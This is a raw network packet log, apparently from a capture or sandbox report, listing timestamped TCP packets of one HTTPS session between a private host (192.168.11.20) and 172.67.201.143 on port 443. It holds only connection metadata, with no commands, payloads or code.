Dec 21, 2024 19:23:05.341717958 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.341722012 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.342039108 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.342222929 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.342228889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.342971087 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.343158960 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.343164921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.343287945 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.343574047 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.343655109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.343734026 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.343837023 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.343842030 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.344110012 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.344815969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.344969034 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.345087051 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.345092058 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.345659018 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.345757008 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.345937014 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.345943928 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.346101999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.346204042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.346211910 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.346295118 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.346474886 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.347018003 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.347254038 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.347261906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.347460985 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.348078012 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.348232031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.348332882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.348337889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.348870039 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.349010944 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.349113941 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.349119902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.349338055 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.349879026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.350013971 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.350116968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.350121975 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.350855112 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.351001024 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.351006985 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.351092100 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.351160049 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.351180077 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.351185083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.351389885 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.351643085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.351896048 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.352199078 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.352365971 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.352428913 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.353051901 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.353288889 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.353367090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.353372097 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.353506088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.354141951 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.354381084 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.354387999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.355134964 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.355204105 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.355266094 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.355272055 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.355366945 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.355458975 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.355948925 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.356184959 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.356192112 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.356940031 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.357012033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.357198954 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.357207060 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.357342005 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.357850075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.358007908 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.358108997 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.358114004 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.358350992 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.358527899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.358535051 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.358603001 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.358684063 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.359178066 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.359347105 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.359436989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.359441996 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.359910965 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.360049009 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.360054970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.360152006 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.360229969 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.360794067 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.360955954 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.361037016 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.361042023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.362430096 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.362440109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.362620115 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.362627029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.362700939 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.362765074 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.363708973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.363718987 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.364001989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.364007950 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.365065098 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.365076065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.365246058 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.365252972 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.365379095 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.365894079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.366183043 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.367376089 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.367386103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.367585897 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.367594004 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.367680073 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.368858099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.368870020 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.369029045 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.369035959 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.369146109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.369318008 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.370274067 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.370285988 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.370486021 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.370492935 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.370644093 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.371727943 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.371763945 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.371880054 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.371957064 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.371963978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.372047901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.372189045 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.372482061 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.372647047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.372694969 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.372699022 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.373529911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.373630047 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.373660088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.373667955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.373734951 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.373838902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.374353886 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.374542952 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.375981092 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.375993013 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.376183033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.376189947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.376234055 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.376234055 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.377428055 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.377439976 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.377571106 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.377578020 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.377650976 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.377770901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.378534079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.378546000 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.378665924 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.378768921 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.378773928 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.378856897 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.379796028 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.379806995 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.379940033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.379945993 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.380013943 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.380105019 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.381266117 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.381278038 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.381432056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.381509066 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.381515026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.381601095 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.381614923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.381731033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.381736994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.381820917 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.382344961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.382498026 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.382505894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.382602930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.382666111 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.383096933 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.383171082 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.383255005 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.383342028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.383348942 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.383807898 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.383908987 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.383954048 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.383961916 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.384047031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.384139061 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.384582043 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.384639978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.384733915 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.384813070 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.384820938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.384843111 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.385046005 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.385055065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.386270046 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.386343002 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.386462927 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.386471033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.386557102 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.386588097 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.386687040 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.386693954 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.386827946 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.387137890 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.387295008 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.387356043 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.387389898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.387398958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.387536049 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.387878895 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.388040066 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.388128996 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.388134956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.388925076 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.388993025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.389079094 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.389086962 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.389235020 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.389995098 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.390007019 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.390144110 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.390223980 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.390230894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.390326023 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.390454054 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.391572952 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.391643047 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.391727924 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.391834974 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.391841888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.392302036 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.392381907 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.392456055 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.392463923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.392549992 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.392642021 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.393162966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.393230915 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.393317938 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.393408060 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.393414021 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.393594980 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.393769979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.393776894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.393848896 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.394135952 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.394356966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.394366026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.394418001 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.394547939 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.395178080 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.395308018 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.395315886 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.395418882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.395426035 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.395469904 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.395500898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.395647049 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.395651102 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.396466017 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.396521091 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.396605968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.396612883 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.396693945 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.396764994 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.396775961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.396928072 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.397499084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.397681952 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.398113966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.398411036 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.399833918 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.399893999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.400062084 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.400069952 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.400155067 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.400502920 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.400636911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.400645971 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.400652885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.400729895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.400830984 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.401328087 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.401542902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.402183056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.402417898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.402427912 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.403122902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.403208017 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.403271914 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.403280020 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.403381109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.403414965 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.403456926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.403465986 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.403587103 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.404313087 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.404469967 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.404558897 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.404565096 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.404741049 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.405349016 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.405436993 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.405586004 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.405594110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.405652046 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.405664921 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.405780077 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.405785084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.405875921 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.406337976 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.406548023 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.406557083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.406769037 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.407077074 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.407275915 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.407618046 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.407743931 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.407752037 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.407830000 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.409007072 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.409077883 CET	443	49743	172.67.201.143	192.168.11.20
